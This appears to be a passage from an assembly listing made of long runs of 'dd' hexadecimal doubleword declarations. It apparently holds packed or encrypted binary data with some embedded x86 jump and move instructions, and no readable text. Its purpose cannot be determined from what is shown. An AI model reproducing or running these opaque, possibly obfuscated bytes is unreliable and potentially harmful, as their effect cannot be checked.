0AE21DB8Fh dd 32A15B0Fh, 0AC2DD783h, 2FA3590Dh, 0FF7ED88Ch, 0F4A05387h dd 7F2BC80Eh, 0F4A05785h, 7E2AC70Eh, 0F446D4h, 731D4747h dd 8548A1FFh, 0B1DC2C1Ah, 6D7ADF7Ch, 5A3208E8h, 7FCB9F9Fh dd 84999321h, 74EC1756h, 37BEB418h, 905EC49Ah, 711DB162h dd 56842D07h, 0BB188017h, 360F1AE3h, 8633A668h, 0B7E5462Ah dd 0BC92DA05h, 0A874AD12h, 93AC115Eh, 78195C56h, 7CE6B814h dd 6D30F6CEh, 72D14911h, 6D313808h, 9ECE8011h, 2507A157h dd 31ED2Eh, 39B40000h, 74D782F7h, 35D2871h, 0BC489AB1h dd 19B52D12h, 95448947h, 0B6255BB8h, 54F70847h, 6BB65A2Eh dd 7CE8A611h, 23888771h, 0E6F72Eh, 6DAE0000h, 0EFE549E8h dd 8A27AE6Bh, 1C51B8E6h, 81DA723h, 0A4AE0EADh, 2C00B231h dd 9F1756B8h, 0AF356B07h, 56B8271Dh, 0A1029A17h, 17C20B01h dd 1D47A049h, 2D9085A2h, 2750D68Eh, 0A717572Dh, 34DD832Eh dd 0ABE1BF18h, 0BC3D37C4h, 7EDDB11Dh, 0F899DC26h, 714C5D54h dd 8F29D2Fh, 1D8512BDh, 9C69B049h, 4B4B70C2h, 66FE0CD1h dd 114BA238h, 0E3B8B81Bh, 1D4E2650h, 5FA10B80h, 0BBD77B16h dd 0FB9ADDD7h, 96C40A58h, 74BB1E5h, 0B01CC132h, 4383B0DCh dd 0D7E82A28h, 113AAE7Fh, 1C5C0000h, 0A2D52F7Bh, 1E5DA7F3h dd 0A0D12B7Fh, 1B5FA5F1h, 0B8A2C78h, 1044F77Bh, 0E3B764EAh dd 7024DB19h, 0C296438Ah, 7448FA68h, 0C71D4749h, 0F739E24Bh dd 107CD083h, 9645B5B3h, 44F66CC2h, 17566770h, 0FEF85BC3h dd 0D78EDA77h, 0B182F739h, 5CF09C43h, 83969330h, 3D56E4BAh dd 0F012BC49h, 4529CE0Eh, 0F979B7E9h, 7418B93Ch, 37DBADD7h dd 7B25116Ch, 385953E1h, 34AC116Ch, 5EA7D597h, 2E240AAAh dd 0DEDAh, 0E86D8300h, 96D91749h, 84274BE7h, 0FAC2E24h dd 0FE5A9F51h, 8C2156A8h, 0D67A16F6h, 0CA423A88h, 2DB51756h dd 6B7C6C41h, 0CAA940DDh, 5997C969h, 2FCC021Bh, 2F83EF83h dd 6D9AE043h, 7D175715h, 0F70D59F8h, 0D45D927Eh, 4E22A264h dd 72878E22h, 0BDA3D4EAh, 0B8D4C126h, 3BB27CE6h, 0B8473D9Eh dd 6212BD04h, 6892418Bh, 0E4470EABh, 0FD53079Fh, 0A7DFD567h dd 0CA52116Ch, 401D6C69h, 0FDB8AC1Eh, 0AC620CD0h, 4C208C2Dh dd 520C94EFh, 0E9BD5E9Ch, 0F3CDF13h, 0E82A78D9h, 1554852Dh dd 3B000010h, 0AC5602B5h, 24DE8A2Bh, 0A85206B7h, 26DC8829h dd 0F55307B4h, 2FCC0E74h, 0AE4D817Bh, 23D400FAh, 0A9488D77h dd 77C557FDh, 1D474A7Dh, 39D57CF0h, 7FD37EF7h, 44B6B013h dd 0B439C397h, 39085105h, 70D37EF7h, 0C534FF76h, 0CF267814h dd 574BE1E0h, 9220FE4Dh, 0A9D401A9h, 0CCC666C5h, 0A94E8E89h dd 51056905h, 2B7528ABh, 6CC077E5h, 0B085E941h, 98F4074Ch dd 0BC59B3Bh, 0AA872BC6h, 2FE1B808h, 0ADA7CB99h, 4F238F2Eh dd 0B663EAECh, 8D8151E2h, 0EE5C1143h, 17573716h, 3E9DF169h dd 4917EE3Bh, 0BD4D40FBh, 0F5AB3312h, 0AC992D1Ch, 9C3F8093h dd 0F042D84Ah, 116D3FFCh, 0B418BD32h, 9437AFD8h, 0F33119EEh dd 488B45DAh, 12FDAFD4h, 0E622B9Ah, 8461A8ADh, 0DD0A33DAh dd 5349BFFDh, 0F638A2F0h, 9FDCD683h, 9D3E52FEh, 487A64E7h dd 238F1715h, 9C3FB37Dh, 16EF3A3Fh, 0CAA6FA48h, 41D90F5Dh dd 3D37851Fh, 0B00E0AB8h, 43D98B28h, 0B8916BD9h, 7CE40E0Ah dd 0D794D9DFh, 5127D619h, 0E0AB85Bh, 0E5A36AEh, 0E3D081F4h dd 0E59F8DBFh, 0E1B263CBh, 0E700000Eh, 609ACE71h, 0E01A4EEFh dd 6C96C273h, 0E2184CEDh, 3197C370h, 0D380F2B0h, 5AF97D87h dd 0D788F40Eh, 45F47983h, 9B29BB11h, 1D474AA1h, 6D319814h dd 0BBE549E8h, 66999321h, 46EC1756h, 566600F4h, 87EB7317h dd 0DD82124h, 7252E153h, 1BE512BCh, 0E08C20D3h, 0D9B56AEAh dd 5825748Dh, 412FB406h, 1A820CD2h, 0C2E7AD44h, 0F0CB18CAh dd 77DB78FAh, 6E18B81Bh, 0B81F59Ah, 313CA8E6h, 2839C747h dd 6EB7h, 1B6EEE00h, 9CD21C42h, 14A1A5BEh, 4D21A159h, 50878DE1h dd 0CE6D01ADh, 0E3792E9Ch, 148C12BCh, 0A758844Ah, 1B2D10F9h dd 0F509C494h, 0D6FB65D7h, 0DF818679h, 6D3E976Dh, 0D172EA11h dd 65E92789h, 0D5761AB6h, 6D3DDBAFh, 731E5711h, 0F89FDD27h dd 36E768A6h, 0A56B3595h, 0F8258635h, 0DFCh, 0B95A9856h dd 2FCF3815h, 624AAADAh, 6E08AD0Eh, 0AE1C421Bh, 12A686F8h dd 0FC19F07h, 857F2BC6h, 31FFA150h, 12B211C0h, 69370E1Bh dd 0E1DB69F3h, 29116586h, 1981F6A5h, 0D96DC0BAh, 44DC0CB5h dd 0C2A1D41Ah, 74A77C70h, 3B57CF0Bh, 0B160956Fh, 3805141Dh dd 0AA87D466h, 9D5306DAh, 67CAFA5Ah, 0D0220E43h, 0DF7C10BCh dd 0E50F3CA4h, 39EE1F66h, 0D864091h, 48880000h, 0B639C397h dd 2AA95307h, 0B425DF8Bh, 27AB5105h, 7862074h, 0C58FB7Fh dd 87D380F6h, 0C58FF7Dh, 86D27FF6h, 380CBE2Ch, 8B1D474Ch dd 1F11AE07h, 0EC175667h, 49EC09Dh, 5666BEB6h, 0F7A93117h dd 56676F45h, 0F95AC217h, 0B99C19ABh, 73EB12A6h, 0CF6AE32Dh dd 1DAF359Bh, 11658727h, 0A7A1029Ah, 8474E52Eh, 55BEAC13h dd 2589E58Bh, 80892549h, 40F2AC79h, 0CCC35B3h, 0AA39B846h dd 7C152418h, 630F970Bh, 0FCCFA3CFh, 0E82E30BCh, 0F1B968C0h dd 1700000Ch, 906A3EE1h, 10EABE5Fh, 9C6632E3h, 12E8BC5Dh dd 0C16733E0h, 3B02240h, 8A29AD57h, 7B824DEh, 7524A953h dd 0AB198B21h, 1D474CD1h, 6D01A824h, 0BBE549E8h, 66999321h dd 74EC1756h, 9B9CD1D7h dd 660AA659h, 0D694A60Ah, 3CA95FA6h, 44DE340Eh, 565DFEF6h dd 4AE97117h, 76A13h, 1B6E4A00h, 3EAE1C42h, 9812A6B9h dd 0DE721F56h, 0F26A11B2h, 7BF836ACh, 6C1A76DAh, 11658798h dd 82D073EBh, 3C68094Ch, 0BCE28FC6h, 86A09426h, 8B131165h dd 0AFE8828h, 3116587h, 0C3712FF6h, 0CCB9330h, 62685BC3h dd 62E82ED4h, 0C421BCAh, 14440000h, 8ACD3763h, 1645BFEBh dd 88C93367h, 1347BDE9h, 13923460h, 0E8BC5F93h, 6B3FDC12h dd 0E8BC6391h, 6A3EDB12h, 0CE052C0h, 7F1D474Eh, 0A3395AF3h dd 56671B11h, 55F66E17h, 0D37F1A53h, 508394D9h, 0B8D487CBh dd 84A78D4h, 3CE791DCh, 0C417340Eh, 4E000006h, 56671F11h dd 819DEC17h, 8E0450BDh, 603E52BCh, 0A75E82D2h, 0B3ED7512h dd 0D59F87Dh, 53E17EF7h, 11662C59h, 4CFE75ACh, 467F64Dh dd 0A1A80468h, 61D38D58h, 0CCC2DD2h, 0A24F824Ch, 21D2040Eh dd 2E8DE18Dh, 0DAFECD55h, 0EEE82E38h, 0B9A9746h, 3CBC0000h dd 0C235CF9Bh, 3EBD4713h, 0C031CB9Fh, 3BBF4511h, 0EB6ACC98h dd 0F0A4579Bh, 4317C40Ah, 0D0843BB9h, 0A2F6A32Ah, 54289A08h dd 0A71D474Eh, 0E86D822Bh, 66EFE549h, 0E4882FADh, 510274BAh dd 923291FDh, 6B72E2A0h, 340E3D9Dh, 8A92CE2h, 326BC8A4h dd 61Bh, 0C0B4069Ch, 3317565Eh, 6EAD08ABh, 8ED2031Bh, 327346E5h dd 0D8B418BDh, 3486D8B4h, 12A6E013h, 0FA603EA6h, 65AD7448h dd 0FC5FC711h, 78FA34AEh, 0FF7D77DBh, 91973458h, 13E9BD5Ch dd 0E5933FDAh, 1165AD13h, 6A341118h, 0CBB92BD8h, 7546DE0Ch dd 0E82EAE53h, 0E912C36Bh, 0EF00000Ah, 18E2B669h, 887226D7h dd 4FEAA4Bh, 8A7024D5h, 59FFAB48h, 8B28AAD8h, 2B125DFh dd 8F30AC56h, 0DAC21DBh, 0D361F359h, 1D474ED9h, 3909A02Ch dd 7FD37EF7h, 3FB6B013h, 0C1343E92h, 0CC8EBC10h, 3DA355A0h dd 74D3340Eh, 8A000005h, 56671A11h, 3F061317h, 0B993D361h dd 0FA6212A6h, 4AE76AA4h, 0EF21BBE9h, 0F63CF6Ah, 1023AAACh dd 0F29E32E3h, 0CC0EC09Eh, 0F9550449h, 25AF995h, 68C475F8h dd 0CD7F1861h, 116586F7h, 5A52E04Ah, 0AD116587h, 0B5075935h dd 116586BFh, 98C6AA32h, 0CB66992Ah, 87B42C0Ch, 0E82EE18Fh dd 391ACB63h, 5F00000Ah, 0C8326619h, 7882D687h, 0F40E5AFBh dd 7A80D485h, 0A90F5BF8h, 7B185A28h, 0F2A1D52Fh, 7F205CA6h dd 0FD9CD12Bh, 239103A9h, 1D475049h, 399930BCh, 73D083F7h dd 0F510075h, 40EC93C1h, 6B3262Ch, 0C565C6AAh, 7221559Bh dd 0F39ED7D1h, 7120555Fh, 0B3A5D7DDh, 0FCAE9727h, 5CF09CC7h dd 1342B20Ch, 3087F5BBh, 0FC481CBDh, 340F2F0Ch, 1A378h dd 0E86D2100h, 6AA97F08h, 91FD54D5h, 0E25E26CFh, 3570A5AFh dd 0B61ABD3Fh, 0D3D979DAh, 52ABFF9Ah, 92207E47h, 12BCDC45h dd 43398B11h, 0B6116CBAh, 0C4680948h, 1C67C4A8h, 0EC762884h dd 7A0CB122h, 116CBA82h, 0B4CE6DF5h, 116CB9C4h, 0FB02723Ch dd 2E24900Dh, 4C79h, 1B6E2000h, 9CD21C42h, 613F53FFh, 5666D9D3h dd 17B42C17h, 0DD11DF45h, 0D4781958h, 1478D4B8h, 9539DE1Eh dd 2B205AF9h, 0F712BC49h, 0B61AB939h, 9A0279DAh, 38704036h dd 86C8116Ch, 0A790F56h, 0C9852E24h, 2B000000h, 64C776E5h dd 49E86DC1h, 0C86BEFE5h, 4AE76E64h, 756FFD14h, 0DDDE5E2h dd 0D1040EAEh, 40DA7420h, 566AFAF2h, 3AB34D17h, 2A50F39Fh dd 1756524Dh, 5B9F98DDh, 7980D4B8h, 0B90B5530h, 12BA9729h dd 51418F1h, 0C12C09BDh, 0DF811962h, 2354E111h, 0B04A1E72h dd 0C4A29142h, 50E241A1h, 8C629F8h, 88C80000h, 0F67983D7h dd 6AE91347h, 0F4659FCBh, 67EB1145h, 0C746E0B4h, 0CC983BBFh dd 4713C036h, 0CC983FBDh, 4612BF36h, 0F8CC7EECh, 4B1D4750h dd 0F7396EC7h, 787EDD80h, 621218FAh, 3B867ECCh, 61F91757h dd 16A4FA4Ch, 0A1D42E7Ah, 82D92BC2h, 11CB6930h, 56898D67h dd 0BF5E9D17h, 90087F13h, 0AA6539Ah, 75E0A66h, 0D083F739h dd 37007573h, 0BBB11DC0h, 44288437h, 0E2E84428h, 764EFC6Bh dd 0C9175667h, 8A633D51h, 53A47C0Dh, 6D2FFAEh, 0E78B4F34h dd 3698C063h, 6AC677F8h, 0FC78A506h, 21000002h, 1C421B6Eh dd 0BC75D5AEh, 0A1D62812h, 503C50FCh, 53B68AFCh, 4C02116Ch dd 2623D520h, 8F532E24h, 0A000002h, 56671C11h, 16D84217h dd 0F29E32DFh, 5666B084h, 7DFD0317h, 721E72DEh, 0F8C5D4D1h dd 0B9D014A6h, 3BA312A6h, 0BC31FF65h, 32BBB11Dh, 2B472B87h dd 0AA478E88h, 0E8DC6EF4h, 5B116586h, 0C23860C3h, 0A645888Bh dd 65872014h, 670B9311h, 405E6CBh, 0AA1F66D4h, 0EA8BCCC6h dd 0D6232A86h, 50E3510Fh, 0E30CCB84h, 9438DF1Dh, 0CBA794F8h dd 5FE82EC4h, 78A26F7h, 4C8C0000h, 0D205FFABh, 4E8D7723h dd 0D001FBAFh, 4B8F7521h, 0DB5AFCA8h, 207427ABh, 0B3E794DAh dd 540B49h, 92C673FAh, 2418AA38h, 971D4752h, 0A339B21Bh dd 66B18B39h, 9C041756h, 566712EAh, 5EFD6517h, 0ED251558h dd 43CF3CBBh, 4943EF83h, 51F95504h, 27AEED1Fh, 9E6ADE8Ah dd 0E5340E53h, 53F0A32Bh, 1B10Ah, 8C3EA400h, 175674B8h dd 749C9022h, 77EF1756h, 72B59800h, 49595925h, 6DB712B1h dd 0EFE549E8h, 669FCB66h, 8E144A13h, 841A167h, 0A9DAD7EFh dd 4ADC2007h, 0D1AB0864h, 12BC8686h, 0F0C2B950h, 2092CAC9h dd 56F5AA2Ah, 25EBB52Dh, 0C1AD01B0h, 0C4B4C262h, 3C116C2Dh dd 0DFB0272h, 722E2404h, 3C9F40BCh, 4365h, 0D505CB00h dd 0F2CA7826h, 45116C25h, 6EDB7EDDh, 79CD031Bh, 6894A0D4h dd 0F3E85A04h, 8612BD0Bh, 0F4C4B21Eh, 3A116CFAh, 0A1AB07B4h dd 55858F2Eh, 702E0AA6h, 0E3ADD104h, 0CD946471h, 0EFE02E24h dd 0B9000000h, 1749E86Dh, 59FA99D9h, 0EA69A7F9h, 288BE74Bh dd 0A30FAC2Eh, 1DC033FDh, 787EDDB1h, 0B6E844F5h, 7219F978h dd 56655901h, 6462C1ADh, 47E901F1h, 3B36DE30h, 44CAB2C3h dd 0ACC0ACF2h, 60717EF8h, 23ED1756h, 0CCA00CAFh, 40E390C6h dd 3C620F46h, 0B68E3CA6h, 917563Fh, 400DE791h, 0CA601756h dd 56408478h, 36FF717h, 0F801F8A0h, 73E9732Dh, 563FEBC1h dd 0B2F80417h, 37E7ABC1h, 17BD840h, 12BA5C91h, 28E6B820h dd 0BE5709AAh, 973210DBh, 0C5BF0D4Eh, 381168E1h, 376FCCA0h dd 46888DCDh, 39553995h, 4164380Ah, 0B564CCE2h, 5C8h, 81D58ACEh dd 1541F47Bh, 9DC96CEFh, 1347F267h, 9ECA69E9h, 95C5B938h dd 648B2E6h, 79FB0155h, 0E56892C6h, 58CA6034h, 475412EAh dd 40E9651Dh, 1A4EED6Dh, 5BF87AB4h, 0DA77FEF8h, 0F739D78Eh dd 9746B57Eh, 983B573Bh, 16BA579Eh, 6C38D91Ch, 4A4Dh, 0E86D1400h dd 3F8D1749h, 17566745h, 238320B8h, 5F55E77Dh, 0D2175667h dd 66EFE94Ah, 0CF7C95CBh, 0EEEB420Dh, 251FADF3h, 98175707h dd 0C03A300h, 8CC1D606h, 9B29B3EDh, 175706A1h, 9935E469h dd 0B91A82F5h, 29C0E1h, 6D990000h, 3BAC2FE8h, 5666B389h dd 0F29E0617h, 0F25E325Eh, 0B08436ACh, 3175666h, 6D42389Bh dd 91175667h, 0CB0299CBh, 6D237A2Eh, 0ECE549E8h, 6C40F29Dh dd 0DF175667h, 0C7752B47h, 12A6870Fh, 0E594D917h, 0FBA53D46h dd 4F11C035h, 878D67D5h, 78E01165h, 0F47983DBh, 99E0E945h dd 0C60892CCh, 3E44E794h, 0CB5D9C7h, 6AF0AE36h, 2B8738A4h dd 0EA8E6A47h, 0A6DF1467h, 2FCA0305h dd 0AD4C817Bh, 24010801h, 7F9BC87Ah, 0AE4706DAh, 5599025Fh dd 4F68BA6h, 0D8403B98h, 1F8223EBh, 5E8F27EEh, 488h, 0C1954A8Eh dd 5501B43Bh, 0DD892CAFh, 5307B227h, 0DE8A29A9h, 5585F978h dd 0C608F2A6h, 39BB4115h, 0A528D286h, 980AA0F4h, 4755522Ah dd 8029A51Dh, 1749E86Dh, 49E594D9h, 24DE8625h, 0A6AC00B1h dd 35DC822Fh, 7A087481h, 15B51662h, 3A81F3BDh, 4EEF60B3h dd 0BCE28EE2h, 0FB58FD72h, 0D46117A3h, 5DAD340Eh, 0F4000000h dd 1C421B6Eh, 0BC2AF9AEh, 7BCC2512h, 0D281F1DDh, 0FBD2D3FFh dd 3B892358h, 116BEB41h, 0D8AC1EB4h, 2B116BEAh, 0EDB3DFB3h dd 5A0EB123h, 6BEAEEDCh, 4DAD2011h, 6AD81F00h, 116BA892h dd 49507DE5h, 89DDB1ACh, 5E0173h, 48EB88CEh, 1F5FB6E8h dd 2AE3BEB4h, 0C5D508ABh, 8C000003h, 0D083F739h, 5005767Ch dd 54999F3Ch, 4FE38EC3h, 0F58A2C62h, 0A9C52235h, 0BC6F45F7h dd 5AC21756h, 5D909A36h, 811E8BCh, 86D1633Dh, 5012BCCAh dd 17BB589Eh, 3BA3D87Bh, 0A80FE197h, 2769116Ch, 7DE0A8B5h dd 402C2E24h, 75000000h, 1C421B6Eh, 6B0C4886h, 47F5ABC7h dd 1756676Dh, 81FB58C0h, 12BC488Ah, 0E794DA14h, 0FF84274Bh dd 0CBBDCB67h, 35116C37h, 0CFC097Bh, 782E240Ah, 0BEh, 6FE4CD6h dd 79116C2Ch, 6DE742E1h, 0FAA2FE8h, 95C5CF63h, 9022B8E6h dd 1756669Ch, 74D477EFh, 0F65AF77Eh, 8CD879FCh, 5664FD0Ah dd 0E988CD17h, 510E47BDh, 566209E3h, 0EEE47C17h, 0EA2CE6Bh dd 0C4DF207h, 915F016Dh, 7D11BD5Ch, 0A13E8CDEh, 5412BC5Dh dd 186198CCh, 0F3A1134Dh, 0C60CD0ACh, 8CCE005Eh, 1141BBEFh dd 0CA7B5162h, 238BE82Ah, 2CFF2h, 0D87FF100h, 5C01768Ch dd 0DC81F208h, 52FF7288h, 0DD7EFC06h, 0D4AE2F89h, 5BA1F5A6h dd 0CE346013h, 47BDE98Eh, 9D37630Eh, 56C7BD0Fh, 0B63A1D47h dd 0DAD0391Fh, 867A67FAh, 3C7CDECDh, 1B4B7F11h, 9F3CBEB8h dd 1DBC31CBh, 1B6E1049h, 0A2D21C42h, 0CBA7529Bh, 0E7550B67h dd 1756670Dh, 95BF860h, 0BC48A0BBh, 45B47A12h, 0D44C3794h dd 383A0E78h, 7EF0116Ch, 0F67B71DDh, 8DD3F75Bh, 0C423E5Fh dd 9E395E0h, 0D6182E24h, 7D77C5A4h, 0F0116C2Ch, 0FEA70468h dd 0CBh, 280B950h, 5F5CB70Bh, 0E86D59FCh, 99D91749h, 1E5C56FAh dd 0D1BDD17Dh, 9AD8D272h, 86B10BB8h, 0E8849DF4h, 0B1F31A44h dd 1EC818EEh, 0EE1963C0h, 0A81756A0h, 646BB41h, 7AD9F631h dd 0C58F97Ch, 52E07FF6h, 1756D55Ah, 0D96B35ADh, 1756D4E3h dd 0EA2CE56h, 752BF207h, 0BCD048C7h, 3763FB12h, 72255799h dd 0F8C5D4D1h, 4BEC68A6h, 7A288BE7h, 0D122BBC8h, 88D64E0Ch dd 33671446h, 0BCAB89C9h, 9175171Eh, 8E5A6905h, 0FAE82A17h dd 1A68352h, 28A80000h, 96D92377h, 0A49B3E7h, 94C53F6Bh dd 74BB1E5h, 27A60054h, 2C781B5Fh, 0A7F3A0D6h, 2C781F5Dh dd 0A6F29FD6h, 582C9E0Ch, 0AB1D4758h, 0ED6D8E27h, 6DE01A4Eh dd 6DC198CCh, 0EFE549E8h, 659FCB66h, 0E4ED41F0h, 2496C895h dd 12BC7BF3h, 38329E06h, 0BFB519BAh, 69379B36h, 6C49E1DBh dd 9CCC5411h, 0D383B222h, 35B8FF6Dh, 0E029D084h, 0FEE95B05h dd 710CD232h, 219369DBh, 7EE60B82h, 209A9220h, 75ED0B82h dd 6FDD4719h, 0B822095h, 73D370E8h, 0E945F479h, 3880ECE6h dd 0F84A14F1h, 6E808EFh, 92F0826Bh, 0ECA080D9h, 0A66CA6Bh dd 26BEC566h, 94458872h, 24D504CAh, 9064D688h, 0E3059800h dd 14B4177Bh, 9539DE1Eh, 0B2097BC5h, 33CA9E3Bh, 0F3411FE6h dd 0FE149Ch, 54054886h, 4A148CF7h, 7A45584h, 8928ADA7h dd 15DB7525h, 0F29E32E1h, 0D9E11351h, 0BC5F93D0h, 4E107C10h dd 13F6ABFCh, 0C674DEFBh, 0F9C3C3EEh, 0E1B5D941h, 6A341118h dd 13E3FED8h, 39950DF5h, 411FBA33h, 0E49369DBh, 589BF3D2h dd 0E94AD2A5h, 57024BB1h, 42168DFBh, 0DBD13D43h, 7FDB12A9h dd 20FD151Ah, 6B4EAE3h, 7C42412Eh, 21751981h, 4BE792DBh dd 3F611041h, 5C83EDD6h, 0C85D04FCh, 73100339h, 953596FAh dd 0E6097BC5h, 9F3CB27Ch, 53295F33h, 8F7C418Ch, 418C473Dh dd 5522BA7Ch, 0E194C7CDh, 8482214Dh, 4C209251h, 0C27C418Ch dd 234FE390h, 0F4A0CC54h, 0AA18C70Eh, 7C418BD2h, 7DD1BD25h dd 3ACh, 0A508F500h, 9834EB6Dh, 12BE5B92h, 973BDC18h, 16BA599Dh dd 913DDE1Ch, 8A4579Bh, 8E22CF02h, 0AA65784h, 822ECF00h dd 0E78957E9h, 4C781h, 0EF830000h, 243C8704h, 243C895Ch dd 7F3368h, 241C8900h, 81E18951h, 4C1h, 4E98300h, 5C240C87h dd 57243C89h, 0C951D3BFh, 32A0BB7Eh, 0FB2984BAh, 81243C8Bh dd 4C4h, 3C8B5400h, 4C48124h, 83000000h, 2C8904ECh, 89DD8924h dd 0FF5D086Fh, 815F2434h, 4C4h, 241C8B00h, 81E78957h, 4C7h dd 4C78100h, 87000000h, 0E95C243Ch, 0FFF98A6Ah, 0E5E49939h dd 0A5B3B06h, 0F0F390B8h, 0FFC50305h, 0E8F766E0h, 5CF05B3Ch dd 8EDDB748h, 57AF514Eh, 0F9AA265Bh, 0C8907B33h, 0B789436Ah dd 9EAF8D61h, 0E909C962h, 9036C210h, 80794625h, 0C66A2113h dd 9748B441h, 0E025F05Ah, 0DDFCF50Fh, 69A85036h, 4A78E35h dd 8E857h, 614F0000h, 0DF3999C4h, 8B667F1Fh, 0C3815BFEh dd 64D8h, 51B96060h, 61755980h, 0BE9h, 2971A400h, 0E9F991F9h dd 0A3BEF2FBh, 6861h, 7E90000h, 76000000h, 37DB27h, 8B599BD3h dd 13E90B04h, 0B1000000h, 61C56554h, 0C8EF22E2h, 51B75B66h dd 8D437B26h, 0E881C2C9h, 48B61829h, 1ECE8BBEh, 12F08161h dd 0BA327E06h, 10082ECEh, 52AC081h, 0F603082h, 6E9D1BFh dd 57000000h, 5A35CC5Ah, 4896122h, 0CE80F80Bh, 3E983F1h dd 0F98149F5h, 0FFFF9BC0h, 0FFA1850Fh, 11E8FFFFh, 0E6000000h dd 4B74AA05h, 1321DFBBh, 59B84EFCh, 6AAEE5BCh, 5EFE8B66h dd 81C1B70Fh, 6A02C6h, 0EA8EBF00h, 63BA598Bh, 0B000001Ah dd 8B0E8B17h, 7EE981C6h, 8115C4D4h, 3CC781E7h, 33C1816Eh dd 8B3B50C0h, 0FFC181C6h, 8A253C0Dh, 8B0E89FAh, 2EE83D9h dd 5D4810BFh, 0F4E4E60h, 183h, 0EA83F900h, 0C2850F01h dd 0FFFFFFFh, 0C84h, 6820F00h, 81000000h, 85679FD3h, 358D8D5Bh dd 0E805F0F6h, 7, 7A608BC3h, 0F849073h, 388h, 0D2B70F00h dd 0DD8D895Fh, 8B05EA0Ah, 0EA1C6DB5h, 0DD8D2905h, 0C705EA09h dd 0EA0ACD85h, 72D805h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 0AE7559F3h, 3C8108BAh dd 0D998501h, 85C705EAh, 5EA25F5h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 9FC35747h dd 0E2816660h, 0E08151E9h, 34708404h, 0C29B5FFh, 0B58905EAh dd 5EA126Dh, 2A1995FFh, 0CEBB05EAh, 6A06D7BEh, 1595FF00h dd 8B05EA10h, 8E6AEBC0h, 5B652A45h, 914F930Ch, 59D54F77h dd 80666FB7h, 8B56B2BBh, 8EEE2875h, 0E1EC9D1h, 0C5B23853h dd 0B719DCC8h, 0BE4DFEAFh, 145E1664h, 0B8473971h, 0A33DF268h dd 0A850FFD0h, 0E8D690B5h, 83C27463h, 680FFCE2h, 96F32AE3h dd 267C6CB1h, 3CAC58F8h, 88DAF21Fh, 0F1FF3770h, 1573757Ch dd 8226366Bh, 0D008E3E6h, 954A396Ah, 0CE88Dh, 6ED20000h dd 71285E82h, 0C9A501E5h, 810F60AAh, 6, 2BD99D8Bh, 8B5A05EAh dd 0EA29119Dh, 0F5C28105h, 81000069h, 9E54D0C9h, 81F62B34h dd 5D9C16E1h, 1634FF48h, 5FC2B70Fh, 0EF81DD8Ah, 427E20E5h dd 1B919589h, 0F78105EAh, 3AEAAE66h, 33158D8Bh, 0F78105EAh dd 12C8B51Eh, 57CBBF0Fh, 68C0Fh, 8D8B0000h, 5EA0165h, 0E932048Fh dd 0Dh, 0A34C92BAh, 0CAB5DA51h, 7E3D0FF7h, 48B0FFDh, 66000000h dd 83BA43B8h, 0BF0F01EEh, 4E4E4EC1h, 7358D03h, 0FE8105EAh dd 0FFFF96D4h, 12850Fh, 0B3B90000h, 0E931F2E8h, 1Fh, 41F5E369h dd 0D014EFFEh, 6810Fh, 95890000h, 5EA3311h, 0FFFF6CE9h dd 73A7B7FFh, 0EB06AFCFh, 8, 7F5A4200h, 4C1E978h, 82680000h dd 0E905F0F8h, 0FFF986EAh, 0F0F90D68h, 86E0E905h, 0A068FFF9h dd 0E905F0FAh, 0FFF986D6h, 81D58ACEh, 1541F47Bh, 9DC96CEFh dd 1347F267h, 9ECA69E9h, 95C5B938h, 648B2E6h, 79FB0155h dd 0E56892C6h, 58CA6034h, 475E12EAh, 40E9651Dh, 0E24EED6Dh dd 0E0B465E8h, 6B351019h, 0D6FFCF82h, 0F97CBAF2h, 0F498F458h dd 64B70557h, 5712BD24h, 185F91CFh, 6A5C965h, 1E0D0A6h dd 1658116Dh, 0D3E99FE6h, 0C152E24h, 4C000003h, 967F0F24h dd 0FAEF34DEh, 40F57A7Fh, 7F8A8F2Ch, 0C8BC0E94h, 3B175684h dd 84DFD5A3h, 0CA521756h, 0B14AF8A6h, 8412BC9Bh, 9A54C61Ch dd 6408A459h, 512BDC7h, 0CEDBE449h, 601BA9F7h, 7A0F6D19h dd 0E852E193h, 7DDEF532h, 3B329E06h, 0FB4917EEh, 982CC5Ch dd 0B32977EFh, 0A2152B5Ah, 2F8CF5E4h, 0A1F5A429h, 5467125Bh dd 0EB770A3Ah, 1ACB1AB2h, 0EF000003h, 18E2B669h, 887226D7h dd 4FEAA4Bh, 8A7024D5h, 59FFAB48h, 8B28AAD8h, 2B125DFh dd 8F30AC56h, 0DAC21DBh, 0D361F359h, 1D475ED9h, 6E09A02Ch dd 0D21C421Bh, 325EF29Fh, 0B81BBC38h, 92B058EAh, 0DB4312A6h dd 66074B85h, 656FE0D4h, 0C1CB5311h, 0D98DE190h, 520CAF23h dd 3F488BBh, 2C26B15Ch, 0DAD0EAFh, 0B9824A7Bh, 0F84AD0E2h dd 11664F04h, 956FDD77h, 0E811664Fh, 0B9BF1C70h, 0A6B68534h dd 5AE24405h, 28F23F2h, 0F0600000h, 6EE11B4Fh, 0F2619BCFh dd 6CED1743h, 0EF6399CDh, 3FBE184Ch, 34601347h, 0BFEB88CEh dd 34601745h, 0BEEA87CEh, 40348614h, 0B31D4760h, 0D039963Fh dd 0A82BCBC5h, 183559F5h, 16B585DDh, 0BF0D0613h, 175722C5h dd 4C209238h, 0BF175723h, 79274B27h, 0A74E3DCBh, 0C468F012h dd 662ABEB2h, 6D0E4C11h, 0D689CBC1h, 68942A7Ah, 2ABFB507h dd 0AA321166h, 2AE4BAC6h, 28DDF0A5h, 6B34A3E2h, 0CD3F7DDEh dd 1DAAF880h, 181042Eh, 6D5D0000h, 8D1749E8h, 5667453Fh dd 8320B817h, 0C7A42923h, 56677F75h, 0CF0CF217h, 7A2E422Eh dd 0F1AF7683h, 0BC761443h, 0D37FE712h, 6C52D3A5h, 0E9732D11h dd 6C53615Bh, 0AA2AD411h, 593559F5h, 0DC7F1A53h, 91676E9Eh dd 0FD2E2429h, 49h, 3568BA53h, 868A7C61h, 1B6E8025h, 0B5AE1C42h dd 4812BC48h, 360A7CD0h, 82116C38h, 0A355A0CCh, 0D82E240Ah dd 2BFCF042h, 0BD32116Ch, 0BEB66F18h, 41E10F1Dh, 1F46E589h dd 0B6h, 19FB7FB1h, 11B9CD12h, 76D5B9CCh, 49E86DD3h, 0C86BEFE5h dd 7A1B5896h, 0FA7379D9h, 63ADF35Fh, 8FE34FEAh, 678963D1h dd 64FC1756h, 0ED8CC1C7h, 62EF3FB9h, 2AA31756h, 0EF75DB8Fh dd 0AD01B021h, 61BDB7C1h, 